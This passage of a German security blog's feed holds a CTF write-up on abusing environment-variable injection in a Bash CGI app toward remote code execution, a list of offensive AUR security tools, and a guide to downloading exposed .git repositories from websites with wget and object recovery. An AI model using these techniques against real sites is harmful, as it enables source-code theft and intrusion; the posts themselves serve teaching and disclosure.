</span><span class='line'>    parse "$QUERY_STRING"
</span><span class='line'>fi</span></code></pre></td></tr></table></div></figure>


<p>Die erste interessante Sache ist das <code>sed</code> Kommando in der <code>filter_nonalpha</code> Funktion, da es alle Zeichen ersetzt, die nicht in den eckigen Klammern stehen. D.h. unsere Eingaben können <code>.!$;?</code> enthalten, was im Kontext der Bash sehr von nutzen sein kann. Die zweite interessante Sache ist die folgende Zeile aus <code>parse</code>:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>export $(filter_nonalpha "${keyval[0]}")="${keyval[1]}"</span></code></pre></td></tr></table></div></figure>


<p>Wir merken, dass nur die Variablennamen der Umgebungsvariablen gefiltert werden, jedoch nicht die Werte. Zusätzlich können wir <code>parse</code> nutzen, um beliebige Umgebungsvariablen zu setzen. Zum Beispiel mit dem Query String <code>DEBUG=1</code> wird eine Variable <code>$DEBUG</code> mit dem Wert <code>1</code> belegt.</p>

<p>Etwas weiter unten im Quelltext fand sich folgender Block:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>if [ -v DEBUG ]; then
</span><span class='line'>    echo -ne '&lt;pre&gt;'
</span><span class='line'>    printenv
</span><span class='line'>    echo -ne '&lt;/pre&gt;'
</span><span class='line'>fi</span></code></pre></td></tr></table></div></figure>


<p>Wie bereits gesagt, führt das Setzen von <code>DEBUG=</code> in der URL zur Ausgabe aller Umgebungsvariablen:</p>

<p><a rel="fancybox"href="/images/posts/bashful-1.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/bashful-1.png" alt="Screen of bashful debug information" title="Bashful debug information" /></a></p>

<p>Da wir nun wissen, dass wir andere Umgebungsvariablen setzen/überschreiben können, wird der folgende Codeblock sehr interessant:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>sessid=$(filter_nonalpha $sessid)
</span><span class='line'>if [ -z $sessid ] || [ "${#sessid}" -lt 60 ]; then 
</span><span class='line'>   echo 'like... really?'
</span><span class='line'>   exit
</span><span class='line'>fi
</span><span class='line'>sessfile=$SESSION_DIR/$sessid
</span><span class='line'>if [ -f $sessfile ]; then
</span><span class='line'>    explode '#' 'messages' "$(cat $sessfile)"
</span><span class='line'>else
</span><span class='line'>    messages=()
</span><span class='line'>fi</span></code></pre></td></tr></table></div></figure>


<p>Das Missbrauchen von <code>$SESSION_DIR</code> und  <code>$sessid</code> zum Setzen eines beliebigen Pfades in der <code>$sessfile</code> Variable, um wiederum den Inhalt dieser Datei auszulesen, hörte sich nach einem tollen Weg an, um an die Flagge zu kommen. TL;DR: Das Setzen von <code>$SESSION_DIR</code> war nicht das Problem, sondern eher die Längenprüfung der <code>$sessid</code> Variable. So war es möglich die Beschränkung mit <code>$IFS$IFS....$IFS</code> zu umgehen, allerdings scheiterte dann die Datei-Existenzprüfung (<code>[ -f $sessfile ]</code>).</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>if [ ! -v page ]; then
</span><span class='line'>    page=home
</span><span class='line'>else
</span><span class='line'>    page=$(filter_nonalpha "$page")
</span><span class='line'>fi
</span><span class='line'>if [[ "$page" == "index" ]]; then
</span><span class='line'>    page=home
</span><span class='line'>fi
</span><span class='line'>file="$DOCUMENT_ROOT/$page.sh"
</span><span class='line'>if [ ! -f $file ]; then
</span><span class='line'>    &gt;&2 echo "Can't load $file"
</span><span class='line'>    file="$DOCUMENT_ROOT/404.sh"
</span><span class='line'>fi
</span><span class='line'>source $file</span></code></pre></td></tr></table></div></figure>


<p>Das sah sogar noch viel spannender aus, da es direkt zu einer RCE führen könnte. Wieder nutzen wir die bekannte Methode, um die Variablen <code>$DOCUMENT_ROOT</code> und <code>$page</code> zu bearbeiten. Die Kombination dieser beiden würde dann gesourced (ausgeführt) werden. Wir müssten nur unsere Kommandos in eine Datei schreiben, welche auf <code>.sh</code> endet und im Document Root oder woanders liegt.</p>

<p>Wir konnten uns zwei Wege überlegen, wie man die RCE ausnutzen könnte:</p>

<p>Der erste Weg bestand darin, <code>$SESSION_DIR=/var/www/</code> und <code>$sessid=aaaa...aaa.sh</code> (60+ mal a und <code>.sh</code>) zu setzen. Dies würde zu <code>$sessfile=/var/www/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.sh</code> führen. Das Speichern einer Notiz mit diesen Parametern würde eine <code>$sessfile</code> Datei erstellen. Leider funktionierte das auf Grund fehlender Schreibrechte nicht. Wir erhielten nur einen 500er vom Server.</p>

<p>Die andere Idee bestand darin, <code>$SESSION_DIR=/var/sessions</code> und <code>$sessid</code> genauso wie oben zu setzen, um eine Session-Datei mit der Endung <code>.sh</code> zu erstellen. Der zweite Schritt würde darin bestehen, <code>DOCUMENT_ROOT=/var/sessions</code> und <code>$page=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</code> zu setzen. Allerdings scheiterte auch dieser Versuch, da der Webserver die <code>index.sh</code> nicht finden konnte.</p>

<p>Im Nachhinein macht der letztere Ansatz nicht wirklich Sinn. Aber vielleicht gibt es ja irgendwelche &#8220;Bash-Magic&#8221; die genutzt werden könnte, um die Parameter entsprechend so zu setzen, dass die RCE ausgeführt wird. Wie auch immer: Es ist lustig zu sehen, dass die Lösung für diese Challenge einfach war, und wir viel zu übermotiviert herangegangen sind.</p>

<h1>Andere Challenges</h1>

<p>Wir hatte noch einen Blick auf andere Challenges, können jedoch nur ein paar Ideen bzw. Ansätze nennen. Möglicherweise sind alle nicht richtig und/oder etwas sinnlos:</p>

<h2>Grading-Board (Web):</h2>

<ul>
<li>Irgendwas mit SQL Injection</li>
<li>Möglichweise muss man <code>grant options</code> nutzen, um anderen Zugriff auf die eigene Tabellen zu geben.</li>
</ul>


<h2>Dr.Bob (Forensic):</h2>

<ul>
<li>Das .vdi Image mit <code>qemu-nbd</code> einbinden</li>
<li>LVM volume, aber verschlüsselt und Passwort ist unbekannt.</li>
<li>VirtualBox nutzen, um den gespeicherten Zustand wiederherzustellen, aber keine Passwörter für die Nutzer bekannt.</li>
<li>Volatility testen/nutzen, um (nützliche) Informationen zu ermitteln</li>
<li>VM booten und <code>init=/bin/bash rw</code> Kernelparameter nutzen, um in eine root-shell zu gelangen. Nach verdächtigen Dateien suchen. Kein Glück :(</li>
</ul>


<h2>Teacher&#8217;s Pinboard (Web):</h2>

<ul>
<li>Am Ende der <code>pickle.js</code> steht, dass  <code>splice/slice</code> verwechselt/vertauscht wurden und man es beheben soll.</li>
<li>Pickle ist irgendeine Enkodierung. Informationen aus dem Cookie <code>accountinfo</code> werden dekodiert und genutzt.</li>
<li>Idee: Die Single-Page-App speichern und pickle.js beheben. Hoffen, dass das hilft, die Flagge von den Default-Notizen zu extrahieren.</li>
</ul>


<h1>Zukünftige CTFs</h1>

<p>Wir denken, dass wir öfters in zukünftigen Jeopardy-Stil CTFs mitmachen werden, wenn es unsere Freizeit erlaubt. Es macht wirklich wirklich viel Spaß und hilft einem neue Ideen/Wege zu erkunden.</p>

<p>Wir hoffen das hilft irgendwie weiter,
Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Unterstützung des AUR mit Sicherheitstools]]></title>
    <link href="https://www.internetwache.org/unterstutzung-des-aur-mit-sicherheitstools-18-10-2015/"/>
    <updated>2015-10-18T15:17:00+02:00</updated>
    <id>https://www.internetwache.org/unterstutzung-des-aur-mit-sicherheitstools</id>
    <content type="html"><![CDATA[<p>Sebastian hat sein Arch Linux neu aufgesetzt und einige AUR (Arch user repository) Pakete erstellt. Jene, welche auch unter dem Gesichtspunkt der IT-Sicherheit interessant sind, werden folgend vorgestellt.</p>

<!-- more -->


<p>Die folgenden Pakete wurden von Sebastian erstellt und werden von ihm betreut.</p>

<h3>AXFR Scanner</h3>

<p>Nach unserer Untersuchung der <a href="https://www.internetwache.org/axfr-scan-der-alexa-top-1-million-29-03-2015/">Alexa Top 1 Millionen auf den sogenannten AXFR-Zonentransfer</a>, haben wir den <a href="https://github.com/internetwache/Python-AXFR-Test">AXFR Scanner</a> auf Github veröffentlicht. Dieses Tool lässt sich simpel über das Kommando <code>yaourt axfrscanner-git</code> installieren. Die Nutzung wurde leicht angepasst, um kommandozeilenfreundlicher zu sein:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; axfrscanner --help
</span><span class='line'>usage: axfrscanner [-h] [-i [INPUTFILE]] [-o [OUTPUTFILE]] [-l [LOGFILE]]
</span><span class='line'>                   [-p [PROCESSES]] [-d [DOMAIN]]
</span><span class='line'>
</span><span class='line'>Check domains' nameservers for public AXFR
</span><span class='line'>
</span><span class='line'>optional arguments:
</span><span class='line'>  -h, --help            zeigt die Hilfe an
</span><span class='line'>  -i [INPUTFILE], --inputfile [INPUTFILE]
</span><span class='line'>                        Inputdatei, gibt an von wo die Domains ausgelesen werden. Standard: stdin
</span><span class='line'>  -o [OUTPUTFILE], --outputfile [OUTPUTFILE]
</span><span class='line'>                        Outputdatei, gibt an wo die Zonendaten gespeichert werden. Standard: stdout
</span><span class='line'>  -l [LOGFILE], --logfile [LOGFILE]
</span><span class='line'>                        Logdatei. Standard: stderr
</span><span class='line'>  -p [PROCESSES], --processes [PROCESSES]
</span><span class='line'>                        Anzahl der Prozesse. Standard: 20
</span><span class='line'>  -d [DOMAIN], --domain [DOMAIN]
</span><span class='line'>                    . Ignored if -i is used.</span></code></pre></td></tr></table></div></figure>


<h2>Heartbleed Scanner</h2>

<p><a href="http://heartbleed.com/">Heartbleed</a> ist eine recht erschreckende Sicherheitslücke, welche 2014 entdeckt und seit dem immer wieder genutzt wurde, um private Schlüssel aus OpenSSL Applikationen auszulesen. Sebastian hat ein Paket erstellt, welches <code>heartbleedscanner-git</code> heißt. Es basiert auf den Heartbleed Python Tools von <a href="https://github.com/einaros/heartbleed-tools">einaros</a>. Dieses Paket enthält 3 verschiedene Tools:</p>

<ul>
<li><code>heartbleedscanner</code> : OpenSSL Heartbleed (CVE-2014-0160) Scanner und Data Miner.</li>
<li><code>heartbleedscanner-keyscan</code>: Erstellung von Speicherabbildern, Suche nach Primfaktoren.</li>
<li><code>heartbleedscanner-keydump</code>: Wiederherstellung der privaten SSL Schlüssel, basierend auf den zuvor ermittelten Primfaktoren.</li>
</ul>


<h2>Poodle Scanner</h2>

<p><a href="https://en.wikipedia.org/wiki/POODLE">Poodle</a> ist der Name einer Schwachstelle innerhalb des SSLv3 Protokolls. Nun gibt es ein Paket mit einem Python Poodle Scanning Tool von <a href="https://github.com/0xICF/POODLEScanner">0xICF</a> mit dem Namen <code>poodlescanner-git</code>.
Die Benutzung sieht folgendermaßen aus:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; poodlescanner -H localhost
</span><span class='line'>localhost:443 SSLv3 [Errno 111] Connection refused</span></code></pre></td></tr></table></div></figure>


<h2>Useragent</h2>

<p> <code>useragent-git</code> ist ein kleines Bash-Script (<a href="https://github.com/gehaxelt/SH-UserAgent">Quellcode auf GitHub</a>) mit welchem verschiedene User-Agents dargestellt werden können. Das kann vor allem in Kombination mit curl oder wget Sinn machen.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>$&gt; useragent -w
</span><span class='line'>Mozilla/5.0 (Windows NT 5.0; rv:10.0) Gecko/20100101 Firefox/10.0</span></code></pre></td></tr></table></div></figure>


<h2>Wordlist</h2>

<p> <code>wordlist-git</code> ist ein Paket für das <a href="https://github.com/rexos/wordlist">Python Wordlist Generation Script</a> von rexos. Mittels verschiedener Parameter kann man konkretisieren, wie die Wörterliste am Ende aussehen soll.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; wordlist 0-9 -m 2 -M 3
</span><span class='line'>00
</span><span class='line'>01
</span><span class='line'>02
</span><span class='line'>[...]
</span><span class='line'>999</span></code></pre></td></tr></table></div></figure>


<h2>theHarvester</h2>

<p> <code>theharvester-git</code> enthält ein Python Script welches dazu genutzt werden kann, um sensible Daten, etwa Emailadressen, Subdomains, offene Ports, Namen von Arbeitnehmern und viele weitere nützliche Informationen zu ermitteln. Solche Daten können beispielsweise Grundlage für weiterführende Angriffe oder Social Engineering sein. Weitere Informationen können unter dem entsprechenden <a href="https://github.com/laramies/theHarvester">Github Repository</a> abgerufen werden.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>Benutzung: theharvester options 
</span><span class='line'>
</span><span class='line'>       -d: Domain to search or company name
</span><span class='line'>       -b: data source: google, googleCSE, bing, bingapi, pgp, linkedin,
</span><span class='line'>                        google-profiles, jigsaw, twitter, googleplus, all
</span><span class='line'>
</span><span class='line'>       -s: Start in result number X (default: 0)
</span><span class='line'>       -v: Verify host name via dns resolution and search for virtual hosts
</span><span class='line'>       -f: Save the results into an HTML and XML file
</span><span class='line'>       -n: Perform a DNS reverse query on all ranges discovered
</span><span class='line'>       -c: Perform a DNS brute force for the domain name
</span><span class='line'>       -t: Perform a DNS TLD expansion discovery
</span><span class='line'>       -e: Use this DNS server
</span><span class='line'>       -l: Limit the number of results to work with(bing goes from 50 to 50 results,
</span><span class='line'>       -h: use SHODAN database to query discovered hosts
</span><span class='line'>            google 100 to 100, and pgp doesn't use this option)</span></code></pre></td></tr></table></div></figure>


<p>Diese Liste ist nur ein Auszug der von Sebastian veröffentlichten Pakete.
Weitere Security Pakete die im AUR gefunden werden können:</p>

<ul>
<li><code>burpsuite</code>: Kostenfreie Version von Burp Suite</li>
<li><code>wpscan</code>: Wordpress vulnerability scanner</li>
<li><code>sqlmap</code>: SQL injection helper</li>
<li><code>subbrute</code>: DNS subdomain brute forcer</li>
<li><code>sslyze</code>: SSL testing tool</li>
<li><code>ffdec</code>: Flash decompiler</li>
<li><code>metasploit</code>: Metasploit framework</li>
<li><code>radare2</code>: Portable reversing framework</li>
<li>und viele mehr</li>
</ul>


<p>Sebastian wird nach Möglichkeit weitere IT-Sicherheit relevante Pakete im AUR publizieren.</p>

<p>Das Team der Internetwache.org</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Wie ungeschützte .git Repositorys die Sicherheit Ihrer Webseite gefährden - Eine Analyse der Alexa 1M]]></title>
    <link href="https://www.internetwache.org/wie-ungeschutzte-git-repositorys-die-sicherheit-ihrer-webseite-gefahrden-eine-analyse-der-alexa-1m-28-07-2015/"/>
    <updated>2015-07-28T01:47:00+02:00</updated>
    <id>https://www.internetwache.org/wie-ungeschutzte-git-repositorys-die-sicherheit-ihrer-webseite-gefahrden-eine-analyse-der-alexa-1m</id>
    <content type="html"><![CDATA[<p>Sebastian hat vor einigen Monaten an einem CTF (capture the flag) teilgenommen. Eine Aufgabe mit der er dabei konfrontiert wurde, war das Wiederherstellen eines <code>.git</code> Repository&#8217;s auf einem Webserver, welcher Directory-Listing eingeschaltet hatte. Mit der Auflistung der Verzeichnisinhalte ist das Auslesen vergleichsweise einfach, aber geht es auch ohne? Schließlich kann man damit eine Menge Schindluder treiben, etwa fremde <code>.git</code> Repository auslesen und somit Zugriff auf den Quellcode einer Webseite und ggf. Passwörter erhalten.</p>

<p>Also beschäftigten wir uns etwas mehr mit der Materie, schrieben einige kleine Tools und haben ein paar Beobachtungen angestellt, die wir gern weitergeben möchten. Das Ergebnis war zwar nicht so dramatisch, wie befürchtet, aber dennoch überraschend.</p>

<!-- more -->


<h1>TL; DR</h1>

<p>Einige Webseiten hosten ihre Versionierungs Repositorys (wie zum Beispiel  <code>.git/</code>) öffentlich. Das ermöglicht Angreifern das Herunterladen und Wiederherstellen der Repositorys, um Zugriff auf den Quellcode einer Applikation zu erhalten. Bitte prüfen Sie die Konfiguration Ihres Webservers, um sicherzustellen, dass der Zugriff von außen auf diese Dateien nicht möglich ist.</p>

<h1>Was ist ein Versionierungstool?</h1>

<p>Vor einigen Jahrzehnten standen Entwickler vor dem Problem gemeinsam aus der Ferne Programme zu entwickeln. Um diesem Problem Abhilfe zu schaffen, wurden Versionierungstools entwickelt. Die primäre Aufgabe dieser Tools ist es verteilte Arbeit an einem zentralen Quellcode zu ermöglichen. Das wird unteranderem darüber erreicht indem sämtliche Codeänderungen (meist &#8220;Commit&#8221; genannt) protokolliert werden. Ein sehr bekanntes Tool zur Versionierung heißt <code>git</code> und wurde damals von Linus Torvalds ins Leben gerufen. Auch im Web ist git mittlerweile stark vertreten, Webseiten wie <a href="https://github.com">github.com</a> bieten das kostenlose Hostin
dieser Repositorys an.</p>

<p>Wir haben uns während der Arbeit an diesem Artikel primär auf <code>`git</code> fokusiert:</p>

<ul>
<li><a href="https://git-scm.com/">Git</a></li>
</ul>


<p>Es gibt allerdings noch eine Vielzahl anderer Versionierungstools, die ebenfalls das hier beschriebene Verhalten aufweisen können:</p>

<ul>
<li><a href="https://subversion.apache.org/">SVN (Apache Subversion)</a> - Ein Scan von uns ergab rund 900 anfällige Systeme</li>
<li><a href="https://mercurial.selenic.com/">HG (Mercurial)</a></li>
<li><a href="http://bazaar.canonical.com/en/">Bazaar</a></li>
<li><a href="http://savannah.nongnu.org/projects/cvs">CVS (Concurrent Versions System)</a></li>
<li><a href="http://www.bitkeeper.com/">BitKeeper</a></li>
</ul>


<h1>Wieso kann ein öffentlich zugängliches Repository die Sicherheit einer Webapplikation gefährden?</h1>

<p>Beim Deployen von Webapplikationen klonen die meisten Entwickler einfach ihr Repository. Die meisten Versionierungstools erstellen dabei einen Meta bzw. Tracking Ordner im Wurzelverzeichnis des Projektes.
Zum Beispiel erstellt git einen Ordner mit dem Namen &#8220;.git&#8221; in der eine komplette Kopie des Repositorys angelegt wird. Andere Versionierungstools weisen ein ähnliches Verhalten auf (bspw. SVN)</p>

<p>Wahrscheinlich ahnt der ein oder andere an dieser Stelle schon, was so mancher Angreifer anstellen kann, wenn der entsprechende Pfad zum Repository nicht geschützt wird. Der Ordner enthält nicht nur den gesamten Quellcode der Applikation, sondern auch alle vorherigen Versionen, Änderungen und möglicherweise auch Konfigurationsdateien mit sensiblen Systeminformationen. Das ebnet einem Angreifer die Möglichkeit die Webseite zu übernehmen, beispielsweise indem der Quellcode nach weiteren Lücken untersucht werden kann.</p>

<h1>Das Herunterladen des Quellcodes</h1>

<p>Nun also zum interessanten Part - Wie laden wir das Repository herunter, um Zugriff auf den Quellcode zu erhalten?
Grundsätzlich gibt es dazu zwei Wege:</p>

<ul>
<li>einen einfachen Weg, falls der Webserver das Anzeigen der Verzeichnisstruktur (directory listing) eingeschaltet hat</li>
<li>einen harten Weg, andernfalls</li>
</ul>


<p>Wie bereits erwähnt, verwenden die meisten Versionierungstools viele kleine Datein (Objekte), um die Änderungen zu verwalten. Die Dateinahmen sind allerdings das Ergebnis von Hashfunktionen und somit recht schwer zu erraten (Brute Force). Wir müssen also einen anderen Weg finden trotzdem an die Dateien und ihre Namen zu kommen.</p>

<h1>Der einfache Weg</h1>

<p>Zunächst einmal sollte die Verzeichnisstrukturen auf Produktivsystemen nicht angezeigt werden. Sollen Sie sich also an dieser Stelle ertappt fühlen, zögern sie nicht - hören Sie auf zu lesen und setzen diese &#8220;Best practice&#8221; um :)! Das ist allerdings nicht ausreichend, um einen möglichen Angreifer aufzuhalten (mehr dazu: &#8220;Der harte Weg&#8221;)</p>

<p>Das Anzeigen der Verzeichnisstrukturen hilft einem potenziellen Angreifer sehr, da zur Kopie der Daten ein einfacher Befehl genügt:</p>

<p><a rel="fancybox"href="/images/posts/git-directorylisting.png" class="fancybox" ><img src="https://www.internetwache.org/images/posts/small/git-directorylisting.png" alt="Abbildung eines git Repositories mit eingeschaltetem directory listing" title="Anzeigen der Verzeichnisinhalte eingeschaltet" /></a></p>

<p>Es genügt folgenden wget Befehl auszuführen:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>wget --mirror -I .git TARGET.COM/.git/ </span></code></pre></td></tr></table></div></figure>


<p>Nach dem Herunterladen kann man in den betreffenden Ordner wechseln und einige Shells (etwa fish oder zsh) teilen bereits mit, dass es sich um ein git-versioniertes Verzeichnis handelt (siehe &#8220;master&#8221;-branch Hinweis).</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>/tmp/test/ttrss.me (0) (master)                                                                                                                                        
</span><span class='line'>&gt; git status | head -n 10 
</span><span class='line'>On branch master
</span><span class='line'>Your branch is up-to-date with 'origin/master'.
</span><span class='line'>Changes not staged for commit:
</span><span class='line'>  (use "git add/rm &lt;file&gt;..." to update what will be committed)
</span><span class='line'>  (use "git checkout -- &lt;file&gt;..." to discard changes in working directory)
</span><span class='line'>
</span><span class='line'>        deleted:       .buildpath
</span><span class='line'>        deleted:       .gitignore
</span><span class='line'>        deleted:       .htaccess
</span><span class='line'>        deleted:       .project</span></code></pre></td></tr></table></div></figure>


<p>Nach dem Ausführen von <code>git checkout -- .</code> wird das Repository zurückgesetzt und alle Dateien werden wiederhergestellt.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>/tmp/test/ttrss.me (0) (master) 
</span><span class='line'>&gt; /usr/bin/ls | head -n 10
</span><span class='line'>apiatom-to-html.xsl
</span><span class='line'>backend.php
</span><span class='line'>cache
</span><span class='line'>classes
</span><span class='line'>config.php-dist
</span><span class='line'>css
</span><span class='line'>errors.php
</span><span class='line'>feed-icons
</span><span class='line'>image.php</span></code></pre></td></tr></table></div></figure>


<p>Wir haben also erfolgreich eine Kopie des Quellcodes der Webseite erhalten.</p>

<h2>Der harte Weg</h2>

<p>Wie bereits in der Einleitung erwähnt, ging es uns auch darum einen Weg zu finden das Repository herunterzuladen, selbst wenn das Anzeigen der Verzeichnisstrukturen ausgeschaltet ist. Damit das möglich ist, haben wir uns etwas mit der internen Funktionsweise von git beschäftigt, um zu verstehen wie ein Repository aufgebaut ist.</p>

<p>Wir möchten an dieser Stelle nicht zu sehr ins Detail gehen, empfehlen allerdings sehr die Lektüre entsprechender Kapitel aus diesem Buch <a href="http://git-scm.com/book">git-scm.com/book</a>. Es sei allerdings gesagt, dass es insgesamt drei verschiedene Arten von Objekten in einem git Repository gibt:</p>

<ul>
<li>Blob - die eigentlichen Daten (beispielsweise den Quellcode)</li>
<li>Tree - gliedert Blobs</li>
<li>Commit - Ein gewisser Zustand eines Trees mit einigen zusätzlichen Informationen (zum Beispiel: Autor/Datum/sonstiges)</li>
</ul>


<p>All diese Informationen nutzt git, um Versionierung zu ermöglichen und Repositorys zu verwalten. Das &#8220;Problem&#8221; was man nun als Angreifer hat ist, dass diese Informationen folgendermaßen in Dateien abgespeichert wurden: <code>.git/objects/[Ersten-2-bytes]/[Restliche-38-bytes]</code>. Der Dateiname ist ein langer SHA-1-Hash eines Objektes. Wir müssen also eine Menge Glück haben, um alle Dateinamen zu erraten und sie damit herunterladen zu können. Da uns das Glück allerdings oft im Stich lässt und das Ausprobieren von SHA-1 Werten auch keine gute Idee ist (es dauert ewig), suchen wir nach einer anderen Möglichkeit.</p>

<p>Was uns an dieser Stelle hilft, ist der Fakt, dass manche Dateien in einem Repository identisch sind:</p>

<ul>
<li>HEAD</li>
<li>objects/info/packs</li>
<li>description</li>
<li>config</li>
<li>COMMIT_EDITMSG</li>
<li>index</li>
<li>packed-refs</li>
<li>refs/heads/master</li>
<li>refs/remotes/origin/HEAD</li>
<li>refs/stash</li>
<li>logs/HEAD</li>
<li>logs/refs/heads/master</li>
<li>logs/refs/remotes/origin/HEAD</li>
<li>info/refs</li>
<li>info/exclude</li>
</ul>


<p>Diese Dateien referenzieren entweder ein Objekt über den dazugehörigen Hash oder eine Datei, welche dann mittels Hash auf ein Objekt zeigt (und so weiter). Das bietet uns als Angreifer also die Möglichkeit Hashwerte auszulesen und die Dateien herunterzuladen. Wir müssen die Hashwerte also aus den bereits heruntergeladenen Dateien extrahieren.</p>

<p>So können wir zum Beispiel die <code>refs/heads/master</code> Datei etwas näher betrachten:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; cat .git/refs/heads/master 
</span><span class='line'>6916ae52c0b20b04569c262275d27422fc4fcd34</span></code></pre></td></tr></table></div></figure>


<p>Die Referenz in <code>master</code> zeigt auf einen Commit mit dem Hashwert <code>6916ae52c0b20b04569c262275d27422fc4fcd34</code>. Nachdem wir auch diesen näher betrachtet haben (die URL dazu ist logischerweise: <code>.git/objects/69/16ae52c0b20b04569c262275d27422fc4fcd34</code>), können wir mit der Analyse des selbigen fortfahren.</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; git cat-file -t 6916ae52c0b20b04569c262275d27422fc4fcd34 
</span><span class='line'>commit</span></code></pre></td></tr></table></div></figure>


<p>Wir erfahren, dass es sich bei dem herutergeladenen Objekt tatsächlich um einen Commit handelt. Schauen wir nun wieder nach einigen Details:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>&gt; git cat-file -p 6916ae52c0b20b04569c262275d27422fc4fcd34 
</span><span class='line'>tree fa3887a0b798346c122afdd7c5ecc605bf3c18c0
</span><span class='line'>parent 9264d57c621f66208d689ef653ce8a62c3bccfae
</span><span class='line'>author XY &lt;foo@bar&gt; 1429391394 +0200
</span><span class='line'>committer XY &lt;foo@bar&gt; 1429391394 +0200
</span><span class='line'>
</span><span class='line'>Added another readme file</span></code></pre></td></tr></table></div></figure>


<p>Okay, jetzt wissen wir den Hash des dazugehörigen Trees und weitere Informationen etwa über den Autor und kennen auch die Commit-Nachricht.</p>

<p>Wir laden also das Tree-Objekt herunter und analysieren es:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
